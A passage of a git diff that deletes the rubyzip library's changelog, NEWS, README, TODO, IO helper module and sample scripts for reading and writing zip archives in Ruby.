compatibility fix - - * NEWS, zip.rb: ruby-zlib 0.6.0 compatibility fix - -2002-12-22 20:12 thomas - - * zip.rb: [no log message] - -2002-09-16 22:11 thomas - - * NEWS: [no log message] - -2002-09-15 17:16 thomas - - * samples/zipfind.rb: [no log message] - - * samples/zipfind.rb: [no log message] - -2002-09-14 22:59 thomas - - * samples/zipfind.rb: Added simple zipfind script - -2002-09-13 23:53 thomas - - * TODO: Added TODO about openmode for zip entries binary/ascii - - * NEWS: ziptest now runs without errors with ruby-1.7.2-4 (Andy's - latest build) - - * zip.rb, ziprequiretest.rb, ziptest.rb: ziptest now runs without - errors with ruby-1.7.2-4 (Andy's latest build) - -2002-09-12 00:20 thomas - - * zipfilesystemtest.rb: Improved ZipFsFile.delete/unlink test - - * test/.cvsignore: [no log message] - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.delete/unlink - -2002-09-11 22:22 thomas - - * alltests.rb: [no log message] - - * NEWS, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Fixed - AbstractInputStream.each_line ignored its aSeparator argument. - Implemented more ZipFsFile methods - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: ZipFileSystem is - now a module instead of a class, and is mixed into ZipFile, - instead of being made available as a property fileSystem - -2002-09-10 23:45 thomas - - * NEWS: Updated NEWS file - - * zip.rb: [no log message] - - * NEWS, zip.rb, ziptest.rb: Fix bug: rewind should reset lineno. - Fix bug: Deflater.read uses separate buffer from produceInput - (feeding gets/readline etc) - -2002-09-09 23:48 thomas - - * .cvsignore: [no log message] - -2002-09-09 22:55 uid26649 - - * zip.rb, ziptest.rb: Implemented ZipInputStream.rewind and - AbstractInputStream.lineno. Tests for both - -2002-09-09 20:31 thomas - - * zip.rb, ziptest.rb: ZipInputStream and ZipOutstream (thru their - AbstractInputStream and AbstractOutputStream now lie about being - kind_of?(IO) - -2002-09-08 16:38 thomas - - * zipfilesystemtest.rb: [no log message] - - * filearchive.rb, filearchivetest.rb, zip.rb, ziptest.rb: Moved - String additions from filearchive.rb to zip.rb (and moved tests - along too to ziptest.rb). Added ZipEntry.parentAsString and - ZipEntrySet.parent - - * ziptest.rb: Implemented ZipEntrySetTest.testDup and testCompound - - * TODO, zip.rb, ziptest.rb: Replaced Array with EntrySet for - keeping entries in a zip file. Tagged repository before this - commit, so this change can be rolled back, if it stinks - -2002-09-07 20:21 thomas - - * zip.rb, ziptest.rb: Implemented ZipEntry.<=> - - * ziptest.rb: Removed unused code - -2002-08-11 15:14 thomas - - * zip.rb, ziptest.rb: Made some changes to accomodate ruby 1.7.2 - -2002-07-27 15:25 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsFile.new - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.pipe - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.link - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.symlink - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.readlink, wrapped ZipFileSystem class in Zip module - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.zero? - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented test for - ZipFsFile.directory? - -2002-07-26 23:56 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.socket? - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.join - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.ftype - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.blockdev? - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.size? (slightly different from size) - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.split - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.symlink? - - * alltests.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: - Implemented ZipFsFile.mtime - - * zipfilesystem.rb, zipfilesystemtest.rb: Implement ZipFsFile.file? - - * zip.rb, ziptest.rb: Implemented ZipEntry.file? - - * alltests.rb, filearchive.rb, filearchivetest.rb, zip.rb, - zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb, - ziptest.rb: Implemented ZipFileSystem::ZipFsFile.size - - * zipfilesystem.rb, zipfilesystemtest.rb: [no log message] - - * test/zipWithDirs.zip: Changed zipWithDirs.zip so all the entries - in it have unix file endings - - * alltests.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: - Started implementing ZipFileSystem - - * test/zipWithDirs.zip: Added a zip file for testing with a - directory structure - -2002-07-22 21:40 thomas - - * TODO: [no log message] - - * TODO: [no log message] - -2002-07-21 18:20 thomas - - * NEWS: [no log message] - - * TODO: Updated TODO with a refactoring idea for FileArchive - - * filearchive.rb, filearchivetest.rb: Added some FileArchiveAdd - tests and cleaned up some of the FileArchive tests. extract and - add now have individual test fixtures. - - * filearchive.rb, filearchivetest.rb: Added tests for extract - called with regex src arg and Enumerable src arg - - * filearchivetest.rb: Added test for continueOnExistsProc when - extracting from a file archive - -2002-07-20 17:13 thomas - - * TODO, filearchivetest.rb, fileutils.rb, ziptest.rb, - test/.cvsignore: Added (failing) tests for FileArchive.add, added - code for creating test files for FileArchive.add tests. Added - fileutils.rb, which is borrowed from ruby 1.7.2 - - * filearchive.rb, filearchivetest.rb: [no log message] - - * filearchivetest.rb: Added tests for String extensions - - * alltests.rb, ziprequiretest.rb, ziptest.rb: [no log message] - - * install.rb: [no log message] - - * TODO: Updated TODO - - * filearchive.rb, filearchivetest.rb: All FileArchive.extract tests - run - -2002-07-19 23:11 thomas - - * filearchive.rb, filearchivetest.rb: [no log message] - - * filearchivetest.rb: [no log message] - - * filearchive.rb, filearchivetest.rb: [no log message] - - * filearchive.rb, filearchivetest.rb, zip.rb: [no log message] - -2002-07-08 13:41 thomas - - * TODO: [no log message] - -2002-06-11 19:47 thomas - - * filearchive.rb, filearchivetest.rb, zip.rb, ziptest.rb: [no log - message] - -2002-05-25 00:41 thomas - - * simpledist.rb: Added hackish script for creating dist files - -2002-04-30 21:22 thomas - - * TODO: [no log message] - - * filearchive.rb, filearchivetest.rb: [no log message] - - * filearchive.rb, filearchivetest.rb: Improved testing and wrote - some of the skeleton of extract. Still to do: Fix glob, so it - returns a hashmap instead of a list. The map will need to map the - full entry name to the last part of the name (which is only - really interesting for recursively extracted entries, otherwise - it is just the name). Glob.expandPathList should also output - directories with a trailing slash, which is doesn't right now. - - * filearchive.rb, filearchivetest.rb: Implemented the first few - tests for FileArchive - -2002-04-24 22:06 thomas - - * ziprequire.rb, ziprequiretest.rb: Appended copyright message to - ziprequire.rb and ziprequiretest.rb - - * zip.rb: Made ZipEntry tolerate invalid dates - -2002-04-21 00:57 thomas - - * NEWS, TODO, zip.rb, ziptest.rb: Read and write entry modification - date/time correctly - -2002-04-20 02:44 thomas - - * ziprequiretest.rb, test/rubycode2.zip: improved ZipRequireTest - - * ziprequire.rb: Made a warning go away - - * ziprequire.rb, ziprequiretest.rb, test/notzippedruby.rb, - test/rubycode.zip: Fixed a bug in ziprequire. Added - ziprequiretest.rb and test data files - -2002-04-19 22:43 thomas - - * zip.rb, ziptest.rb: Added recursion support to Glob module - -2002-04-18 21:37 thomas - - * NEWS, TODO, zip.rb, ziptest.rb: Added Glob module and GlobTest - unit test suite. This module provides the functionality to expand - a 'glob pattern' given a list of files - Next step is to use this - module in ZipFile - -2002-04-01 22:55 thomas - - * NEWS: [no log message] - - * TODO, zip.rb, ziprequire.rb: Added ziprequire.rb which contains a - proof-of-concept implementation of a require implementation that - can load ruby modules from a zip file. Needs unit tests and - polish. - -2002-03-31 01:13 thomas - - * README: [no log message] - -2002-03-30 16:14 thomas - - * TODO: [no log message] - - * .cvsignore, README, zip.rb: Added rdoc markup (only #:nodoc:all - modifiers) to zip.rb. Made README 'RDoc compliant' - -2002-03-29 23:29 thomas - - * TODO: [no log message] - - * example.rb, samples/.cvsignore, samples/example.rb, - samples/gtkRubyzip.rb: Moved example.rb to samples/. Added - another sample gtkRubyzip.rb - - * NEWS, TODO, TODO: [no log message] - - * .cvsignore, file1.txt, file1.txt.deflatedData, testDirectory.bin, - ziptest.rb, test/.cvsignore, test/file1.txt, - test/file1.txt.deflatedData, test/file2.txt, - test/testDirectory.bin: Added test/ directory and moved the - manually created test data files into it. Changed ziptest.rb so - it runs in test/ directory - - * TODO: [no log message] - - * NEWS, zip.rb, ziptest.rb: Don't decompress and recompress zip - entries when changing zip file - - * zip.rb: Performance optimization: Only write new ZipFile, if it - has been changed. The test suite runs in half the time now. - -2002-03-28 22:12 thomas - - * TODO: [no log message] - -2002-03-23 17:31 thomas - - * TODO: [no log message] - -2002-03-22 22:47 thomas - - * NEWS: [no log message] - - * NEWS, TODO: [no log message] - - * ziptest.rb: Found the tests that didn't use blocks to make sure - input streams are closed as soon as they arent used anymore and - got rid of the GC.start - - * ziptest.rb: All tests run on windows ruby 1.6.6 - - * zip.rb, ziptest.rb: Windows fixes: Fixed ZipFile.initialize which - needed to open zipfile file in binary mode. Added another - workaround for the return value from File.open(name) where name - is the name of a directory - ruby returns different exceptions in - linux, win/cygwin and windows. A number of tests failed because - in windows you cant delete a file that is open. Fixed by changing - ziptest.rb to use ZipInputStream.getInputStream with blocks a few - places. There is a hack in CommanZipFileFixture.setup where the - GC is explicitly invoked. Should be fixed with blocks instead. - The only currently failing test fails because the test data - creation fails to add a comment to 4entry.zip, because echo eats - the remainder of the line including the pipe character and the - following zip -z 4 entry.zip command - -2002-03-21 22:18 thomas - - * NEWS: [no log message] - - * NEWS, README, TODO, install.rb: Added install.rb - - * ziptest.rb: [no log message] - - * NEWS, TODO: [no log message] - - * .cvsignore, TODO, zip.rb, ziptest.rb: Added - test_extractDirectoryExistsAsFileOverwrite and fixed to pass - - * zip.rb, ziptest.rb: Extraction of directory entries is now - supported - -2002-03-20 21:59 thomas - - * NEWS: [no log message] - - * COPYING, README, README.txt: Removed COPYING, renamed README.txt - to README. Updated README - - * example.rb: Fixed example.rb added example that shows zip file - manipulation with Zip::ZipFile - - * .cvsignore: [no log message] - - * TODO, zip.rb, ziptest.rb: Directories can now be added (not - recursively, the directory entry itself. Directories are - recognized by a empty entries with a trailing /. The purpose of - storing them explicitly in the zip file is to be able to store - permission and ownership information - - * TODO, zip.rb, ziptest.rb: zip.rb depended on ftools but it was - only included in ziptest.rb - - * zip.rb, ziptest.rb: ZipError is now a subclass of StandardError - instead of RuntimeError. ZipError now has several subclasses. - -2002-03-19 22:26 thomas - - * TODO: [no log message] - - * TODO, ziptest.rb: Unit test ZipFile.getInputStream with block - - * TODO, zip.rb, ziptest.rb: Unit test for adding new entry with - name that already exists in archive, and fixed to pass test - - * TODO, zip.rb, ziptest.rb: Added unit tests for rename to existing - entry - - * TODO: [no log message] - - * TODO, zip.rb, ziptest.rb: Unit test calling ZipFile.extract with - block - -2002-03-18 21:06 thomas - - * TODO: [no log message] - - * zip.rb, ziptest.rb: ZipFile#commit now reinitializes ZipFile. - - * TODO, zip.rb, ziptest.rb: Refactoring: - - Collapsed ZipEntry and ZipStreamableZipEntry into ZipEntry. - - Collapsed BasicZipFile and ZipFile into ZipFile. - - * zip.rb: Removed method that was never called - -2002-03-17 22:33 thomas - - * TODO: [no log message] - - * ziptest.rb: Run tests with =true as default - - * NEWS, TODO, zip.rb, ziptest.rb: Now runs with -w switch without - warnings - - * .cvsignore: [no log message] - - * zip.rb, ziptest.rb: Down to one failing test - - * zip.rb, ziptest.rb: [no log message] - - * TODO, zip.rb, ziptest.rb: [no log message] - -2002-02-25 19:42 thomas - - * TODO: Added more todos - -2002-02-23 15:51 thomas - - * zip.rb: [no log message] - - * zip.rb, ziptest.rb: [no log message] - - * zip.rb, ziptest.rb: [no log message] - -2002-02-03 18:47 thomas - - * ziptest.rb: [no log message] - -2002-02-02 15:58 thomas - - * example.rb, zip.rb, ziptest.rb: [no log message] - - * .cvsignore: [no log message] - - * example.rb, zip.rb, ziptest.rb: Renamed SimpleZipFile to - BasicZipFile - - * TODO: [no log message] - - * ziptest.rb: More test cases - all of them failing, so now there - are 18 failing test cases. Three more test cases to implement, - then it is time for the production code - -2002-02-01 21:49 thomas - - * ziptest.rb: [no log message] - - * ziptest.rb: Also run SimpleZipFile tests for ZipFile. - - * example.rb, zip.rb, ziptest.rb: ZipFile renamed to SimpleZipFile. - The new ZipFile will have many more methods that are useful for - managing archives. - -2002-01-29 20:30 thomas - - * TODO: [no log message] - -2002-01-26 00:18 thomas - - * NEWS: [no log message] - - * ziptest.rb: In unit test: work around ruby/cygwin weirdness. You - get an Errno::EEXISTS instead of an Errno::EISDIR if you try to - open a file for writing that is a directory. - - * ziptest.rb: Fixed test that failed on windows because of CRLF - line ending - -2002-01-25 23:58 thomas - - * ziptest.rb: [no log message] - - * .cvsignore, example.rb, zip.rb: Fixed bug reading from empty - deflated entry in zip file - - * .cvsignore: [no log message] - - * ziptest.rb: [no log message] - - * NEWS, README.txt, zip.rb, ziptest.rb: Zip write support is now - fully functional in the form of ZipOutputStream. - - * zip.rb, ziptest.rb: [no log message] - - * zip.rb, ziptest.rb: [no log message] - -2002-01-20 16:00 thomas - - * zip.rb, ziptest.rb: Added Deflater and DeflaterTest. - - * .cvsignore: [no log message] - - * .cvsignore: Added .cvsignore file - - * zip.rb, ziptest.rb: Added ZipEntry.writeCDirEntry and misc minor - fixes - -2002-01-19 23:28 thomas - - * example.rb, zip.rb, ziptest.rb: NOTICE: Not all tests run!! - - ZipOutputStream in progress - - Wrapped rubyzip in namespace module Zip. - -2002-01-17 18:52 thomas - - * ziptest.rb: Fail nicely if the user doesn't have info-zip - compatible zip in the path - -2002-01-10 18:02 thomas - - * zip.rb: Adjusted chunk size to 32k after a few perf measurements - -2002-01-09 22:10 thomas - - * README.txt: License now same as rubys, not just GPL - -2002-01-06 00:19 thomas - - * README.txt: [no log message] - -2002-01-05 23:09 thomas - - * NEWS, README.txt, NEWS: Updated NEWS file - - * README.txt, zip.rb, ziptest.rb, zlib.c.diff: Added tests for - decompressors and a tests for ZipLocalEntry, - ZipCentralDirectoryEntry and ZipCentralDirectory for handling of - corrupt data - - * file1.txt.deflatedData: deflated data extracted from a zip file. - contains file1.txt - - * zip.rb: Changed references to Inflate to Zlib::inflate for - compatibility with ruby-zlib-0.5 - - * README.txt, zip.rb, ziptest.rb: [no log message] - - * example.rb, NEWS: [no log message] - - * COPYING, README.txt: [no log message] - - * ziptest.rb: Fixed problem with test file creation - - * README.txt: Updated README.txt - - * zip.rb, ziptest.rb: ZipFile now works - -2002-01-04 21:51 thomas - - * testDirectory.bin, zip.rb, ziptest.rb: - ZipCentralDirectoryEntryTest now runs - - * ziptest.rb: Changed - ZIpLocalNEtryTest::test_ReadLocalEntryHeaderOfFirstTestZipEntry - so it works on both unix too. It only worked on windows because - the test made assumptions about the compressed size and crc of an - entry, but that differs depending on the OS because of the CRLF - thing. - - * README.txt: Added note about zlib.c patch - -2002-01-02 18:48 thomas - - * README.txt, example.rb, file1.txt, zip.rb, ziptest.rb, - zlib.c.diff: initial - - * README.txt, example.rb, file1.txt, zip.rb, ziptest.rb, - zlib.c.diff: Initial revision - diff --git a/lib/zip/NEWS b/lib/zip/NEWS deleted file mode 100644 index a72956fd69..0000000000 --- a/lib/zip/NEWS +++ /dev/null @@ -1,162 +0,0 @@ -= Version 0.9.4 - -Changed ZipOutputStream.put_next_entry signature (API CHANGE!). Now -allows comment, extra field and compression method to be specified. - -= Version 0.9.3 - -Fixed: Added ZipEntry::name_encoding which retrieves the character -encoding of the name and comment of the entry. Also added convenience -methods ZipEntry::name_in(enc) and ZipEntry::comment_in(enc) for -getting zip entry names and comments in a specified character -encoding. - -= Version 0.9.2 - -Fixed: Renaming an entry failed if the entry's new name was a -different length than its old name. (Diego Barros) - -= Version 0.9.1 - -Added symlink support and support for unix file permissions. Reduced -memory usage during decompression. - -New methods ZipFile::[follow_symlinks, restore_times, restore_permissions, restore_ownership]. -New methods ZipEntry::unix_perms, ZipInputStream::eof?. -Added documentation and test for new ZipFile::extract. -Added some of the API suggestions from sf.net #1281314. -Applied patch for sf.net bug #1446926. -Applied patch for sf.net bug #1459902. -Rework ZipEntry and delegate classes. - -= Version 0.5.12 - -Fixed problem with writing binary content to a ZipFile in MS Windows. - -= Version 0.5.11 - -Fixed name clash file method copy_stream from fileutils.rb. Fixed -problem with references to constant CHUNK_SIZE. -ZipInputStream/AbstractInputStream read is now buffered like ruby IO's -read method, which means that read and gets etc can be mixed. The -unbuffered read method has been renamed to sysread. - -= Version 0.5.10 - -Fixed method name resolution problem with FileUtils::copy_stream and -IOExtras::copy_stream. - -= Version 0.5.9 - -Fixed serious memory consumption issue - -= Version 0.5.8 - -Fixed install script. - -= Version 0.5.7 - -install.rb no longer assumes it is being run from the toplevel source -dir. Directory structure changed to reflect common ruby library -project structure. Migrated from RubyUnit to Test::Unit format. Now -uses Rake to build source packages and gems and run unit tests. - -= Version 0.5.6 - -Fix for FreeBSD 4.9 which returns Errno::EFBIG instead of -Errno::EINVAL for some invalid seeks. Fixed 'version needed to -extract'-field incorrect in local headers. - -= Version 0.5.5 - -Fix for a problem with writing zip files that concerns only ruby 1.8.1. - -= Version 0.5.4 - -Significantly reduced memory footprint when modifying zip files. - -= Version 0.5.3 - -Added optimization to avoid decompressing and recompressing individual -entries when modifying a zip archive. - -= Version 0.5.2 - -Fixed ZipFile corruption bug in ZipFile class. Added basic unix -extra-field support. - -= Version 0.5.1 - -Fixed ZipFile.get_output_stream bug. - -= Version 0.5.0 - -List of changes: -* Ruby 1.8.0 and ruby-zlib 0.6.0 compatibility -* Changed method names from camelCase to rubys underscore style. -* Installs to zip/ subdir instead of directly to site_ruby -* Added ZipFile.directory and ZipFile.file - each method return an -object that can be used like Dir and File only for the contents of the -zip file. -* Added sample application zipfind which works like Find.find, only -Zip::ZipFind.find traverses into zip archives too. - -Bug fixes: -* AbstractInputStream.each_line with non-default separator - - -= Version 0.5.0a - -Source reorganized. Added ziprequire, which can be used to load ruby -modules from a zip file, in a fashion similar to jar files in -Java. Added gtkRubyzip, another sample application. Implemented -ZipInputStream.lineno and ZipInputStream.rewind - -Bug fixes: - -* Read and write date and time information correctly for zip entries. -* Fixed read() using separate buffer, causing mix of gets/readline/read to -cause problems. - -= Version 0.4.2 - -Performance optimizations. Test suite runs in half the time. - -= Version 0.4.1 - -Windows compatibility fixes. - -= Version 0.4.0 - -Zip::ZipFile is now mutable and provides a more convenient way of -modifying zip archives than Zip::ZipOutputStream. Operations for -adding, extracting, renaming, replacing and removing entries to zip -archives are now available. - -Runs without warnings with -w switch. - -Install script install.rb added. - - -= Version 0.3.1 - -Rudimentary support for writing zip archives. - - -= Version 0.2.2 - -Fixed and extended unit test suite. Updated to work with ruby/zlib -0.5. It doesn't work with earlier versions of ruby/zlib. - - -= Version 0.2.0 - -Class ZipFile added. Where ZipInputStream is used to read the -individual entries in a zip file, ZipFile reads the central directory -in the zip archive, so you can get to any entry in the zip archive -without having to skipping through all the preceeding entries. - - -= Version 0.1.0 - -First working version of ZipInputStream. diff --git a/lib/zip/README b/lib/zip/README deleted file mode 100644 index 79546e0b34..0000000000 --- a/lib/zip/README +++ /dev/null @@ -1,72 +0,0 @@ -= rubyzip - -rubyzip is a ruby library for reading and writing zip files. - -= Install - -If you have rubygems you can install rubyzip directly from the gem -repository - - gem install rubyzip - -Otherwise obtain the source (see below) and run - - ruby install.rb - -To run the unit tests you need to have test::unit installed - - rake test - - -= Documentation - -There is more than one way to access or create a zip archive with -rubyzip. The basic API is modeled after the classes in -java.util.zip from the Java SDK. This means there are classes such -as Zip::ZipInputStream, Zip::ZipOutputStream and -Zip::ZipFile. Zip::ZipInputStream provides a basic interface for -iterating through the entries in a zip archive and reading from the -entries in the same way as from a regular File or IO -object. ZipOutputStream is the corresponding basic output -facility. Zip::ZipFile provides a mean for accessing the archives -central directory and provides means for accessing any entry without -having to iterate through the archive. Unlike Java's -java.util.zip.ZipFile rubyzip's Zip::ZipFile is mutable, which means -it can be used to change zip files as well. - -Another way to access a zip archive with rubyzip is to use rubyzip's -Zip::ZipFileSystem API. Using this API files can be read from and -written to the archive in much the same manner as ruby's builtin -classes allows files to be read from and written to the file system. - -rubyzip also features the -zip/ziprequire.rb[link:files/lib/zip/ziprequire_rb.html] module which -allows ruby to load ruby modules from zip archives. - -For details about the specific behaviour of classes and methods refer -to the test suite. Finally you can generate the rdoc documentation or -visit http://rubyzip.sourceforge.net. - -= License - -rubyzip is distributed under the same license as ruby. See -http://www.ruby-lang.org/en/LICENSE.txt - - -= Website and Project Home - -http://rubyzip.sourceforge.net - -http://sourceforge.net/projects/rubyzip - -== Download (tarballs and gems) - -http://sourceforge.net/project/showfiles.php?group_id=43107&package_id=35377 - -= Authors - -Thomas Sondergaard (thomas at sondergaard.cc) - -Technorama Ltd. (oss-ruby-zip at technorama.net) - -extra-field support contributed by Tatsuki Sugiura (sugi at nemui.org) \ No newline at end of file diff --git a/lib/zip/TODO b/lib/zip/TODO deleted file mode 100644 index e24cde5779..0000000000 --- a/lib/zip/TODO +++ /dev/null @@ -1,16 +0,0 @@ - -* ZipInputStream: Support zip-files with trailing data descriptors -* Adjust rdoc stylesheet to advertise inherited methods if possible -* Suggestion: Add ZipFile/ZipInputStream example that demonstrates extracting all entries. -* Suggestion: ZipFile#extract destination should default to "." -* Suggestion: ZipEntry should have extract(), get_input_stream() methods etc -* SUggestion: ZipInputStream/ZipOutputStream should accept an IO object in addition to a filename. -* (is buffering used anywhere with write?) -* Inflater.sysread should pass the buffer to produce_input. -* Implement ZipFsDir.glob -* ZipFile.checkIntegrity method -* non-MSDOS permission attributes -** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2" -* Packager version, required unpacker version in zip headers -** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2" -* implement storing attributes and ownership information diff --git a/lib/zip/ioextras.rb b/lib/zip/ioextras.rb deleted file mode 100644 index c611535791..0000000000 --- a/lib/zip/ioextras.rb +++ /dev/null @@ -1,165 +0,0 @@ -module IOExtras #:nodoc: - - CHUNK_SIZE = 131072 - - RANGE_ALL = 0..-1 - - def self.copy_stream(ostream, istream) - s = '' - ostream.write(istream.read(CHUNK_SIZE, s)) until istream.eof? - end - - def self.copy_stream_n(ostream, istream, nbytes) - s = '' - toread = nbytes - while (toread > 0 && ! istream.eof?) - tr = toread > CHUNK_SIZE ? CHUNK_SIZE : toread - ostream.write(istream.read(tr, s)) - toread -= tr - end - end - - - # Implements kind_of? in order to pretend to be an IO object - module FakeIO - def kind_of?(object) - object == IO || super - end - end - - # Implements many of the convenience methods of IO - # such as gets, getc, readline and readlines - # depends on: input_finished?, produce_input and read - module AbstractInputStream - include Enumerable - include FakeIO - - def initialize - super - @lineno = 0 - @outputBuffer = "" - end - - attr_accessor :lineno - - def read(numberOfBytes = nil, buf = nil) - tbuf = nil - - if @outputBuffer.length > 0 - if numberOfBytes <= @outputBuffer.length - tbuf = @outputBuffer.slice!(0, numberOfBytes) - else - numberOfBytes -= @outputBuffer.length if (numberOfBytes) - rbuf = sysread(numberOfBytes, buf) - tbuf = @outputBuffer - tbuf << rbuf if (rbuf) - @outputBuffer = "" - end - else - tbuf = sysread(numberOfBytes, buf) - end - - return nil unless (tbuf) - - if buf - buf.replace(tbuf) - else - buf = tbuf - end - - buf - end - - def readlines(aSepString = $/) - retVal = [] - each_line(aSepString) { |line| retVal << line } - return retVal - end - - def gets(aSepString=$/) - @lineno = @lineno.next - return read if aSepString == nil - aSepString="#{$/}#{$/}" if aSepString == "" - - bufferIndex=0 - while ((matchIndex = @outputBuffer.index(aSepString, bufferIndex)) == nil) - bufferIndex=@outputBuffer.length - if input_finished? - return @outputBuffer.empty? ? nil : flush - end - @outputBuffer << produce_input - end - sepIndex=matchIndex + aSepString.length - return @outputBuffer.slice!(0...sepIndex) - end - - def flush - retVal=@outputBuffer - @outputBuffer="" - return retVal - end - - def readline(aSepString = $/) - retVal = gets(aSepString) - raise EOFError if retVal == nil - return retVal - end - - def each_line(aSepString = $/) - while true - yield readline(aSepString) - end - rescue EOFError - end - - alias_method :each, :each_line - end - - - # Implements many of the output convenience methods of IO. - # relies on << - module AbstractOutputStream - include FakeIO - - def write(data) - self << data - data.to_s.length - end - - - def print(*params) - self << params.join << $\.to_s - end - - def printf(aFormatString, *params) - self << sprintf(aFormatString, *params) - end - - def putc(anObject) - self << case anObject - when Fixnum then anObject.chr - when String then anObject - else raise TypeError, "putc: Only Fixnum and String supported" - end - anObject - end - - def puts(*params) - params << "\n" if params.empty? - params.flatten.each { - |element| - val = element.to_s - self << val - self << "\n" unless val[-1,1] == "\n" - } - end - - end - -end # IOExtras namespace module - - - -# Copyright (C) 2002-2004 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/samples/example.rb b/lib/zip/samples/example.rb deleted file mode 100755 index 741afa765e..0000000000 --- a/lib/zip/samples/example.rb +++ /dev/null @@ -1,69 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" -system("zip example.zip example.rb gtkRubyzip.rb") - -require 'zip/zip' - -####### Using ZipInputStream alone: ####### - -Zip::ZipInputStream.open("example.zip") { - |zis| - entry = zis.get_next_entry - print "First line of '#{entry.name} (#{entry.size} bytes): " - puts "'#{zis.gets.chomp}'" - entry = zis.get_next_entry - print "First line of '#{entry.name} (#{entry.size} bytes): " - puts "'#{zis.gets.chomp}'" -} - - -####### Using ZipFile to read the directory of a zip file: ####### - -zf = Zip::ZipFile.new("example.zip") -zf.each_with_index { - |entry, index| - - puts "entry #{index} is #{entry.name}, size = #{entry.size}, compressed size = #{entry.compressed_size}" - # use zf.get_input_stream(entry) to get a ZipInputStream for the entry - # entry can be the ZipEntry object or any object which has a to_s method that - # returns the name of the entry. -} - - -####### Using ZipOutputStream to write a zip file: ####### - -Zip::ZipOutputStream.open("exampleout.zip") { - |zos| - zos.put_next_entry("the first little entry") - zos.puts "Hello hello hello hello hello hello hello hello hello" - - zos.put_next_entry("the second little entry") - zos.puts "Hello again" - - # Use rubyzip or your zip client of choice to verify - # the contents of exampleout.zip -} - -####### Using ZipFile to change a zip file: ####### - -Zip::ZipFile.open("exampleout.zip") { - |zf| - zf.add("thisFile.rb", "example.rb") - zf.rename("thisFile.rb", "ILikeThisName.rb") - zf.add("Again", "example.rb") -} - -# Lets check -Zip::ZipFile.open("exampleout.zip") { - |zf| - puts "Changed zip file contains: #{zf.entries.join(', ')}" - zf.remove("Again") - puts "Without 'Again': #{zf.entries.join(', ')}" -} - -# For other examples, look at zip.rb and ziptest.rb - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/samples/example_filesystem.rb b/lib/zip/samples/example_filesystem.rb deleted file mode 100755 index 0cacbd2aa2..0000000000 --- a/lib/zip/samples/example_filesystem.rb +++ /dev/null @@ -1,33 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" - -require 'zip/zipfilesystem' - -EXAMPLE_ZIP = "filesystem.zip" - -File.delete(EXAMPLE_ZIP) if File.exists?(EXAMPLE_ZIP) - -Zip::ZipFile.open(EXAMPLE_ZIP, Zip::ZipFile::CREATE) { - |zf| - zf.file.open("file1.txt", "w") { |os| os.write "first file1.txt" } - zf.dir.mkdir("dir1") - zf.dir.chdir("dir1") - zf.file.open("file1.txt", "w") { |os| os.write "second file1.txt" } - puts zf.file.read("file1.txt") - puts zf.file.read("../file1.txt") - zf.dir.chdir("..") - zf.file.open("file2.txt", "w") { |os| os.write "first file2.txt" } - puts "Entries: #{zf.entries.join(', ')}" -} - -Zip::ZipFile.open(EXAMPLE_ZIP) { - |zf| - puts "Entries from reloaded zip: #{zf.entries.join(', ')}" -} - -# For other examples, look at zip.rb and ziptest.rb - -# Copyright (C) 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/samples/gtkRubyzip.rb b/lib/zip/samples/gtkRubyzip.rb deleted file mode 100755 index 0b63485d5b..0000000000 --- a/lib/zip/samples/gtkRubyzip.rb +++ /dev/null @@ -1,86 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" - -$VERBOSE = true - -require 'gtk' -require 'zip/zip' - -class MainApp < Gtk::Window - def initialize - super() - set_usize(400, 256) - set_title("rubyzip") - signal_connect(Gtk::Window::SIGNAL_DESTROY) { Gtk.main_quit } - - box = Gtk::VBox.new(false, 0) - add(box) - - @zipfile = nil - @buttonPanel = ButtonPanel.new - @buttonPanel.openButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - show_file_selector - } - @buttonPanel.extractButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - puts "Not implemented!" - } - box.pack_start(@buttonPanel, false, false, 0) - - sw = Gtk::ScrolledWindow.new - sw.set_policy(Gtk::POLICY_AUTOMATIC, Gtk::POLICY_AUTOMATIC) - box.pack_start(sw, true, true, 0) - - @clist = Gtk::CList.new(["Name", "Size", "Compression"]) - @clist.set_selection_mode(Gtk::SELECTION_BROWSE) - @clist.set_column_width(0, 120) - @clist.set_column_width(1, 120) - @clist.signal_connect(Gtk::CList::SIGNAL_SELECT_ROW) { - |w, row, column, event| - @selected_row = row - } - sw.add(@clist) - end - - class ButtonPanel < Gtk::HButtonBox - attr_reader :openButton, :extractButton - def initialize - super - set_layout(Gtk::BUTTONBOX_START) - set_spacing(0) - @openButton = Gtk::Button.new("Open archive") - @extractButton = Gtk::Button.new("Extract entry") 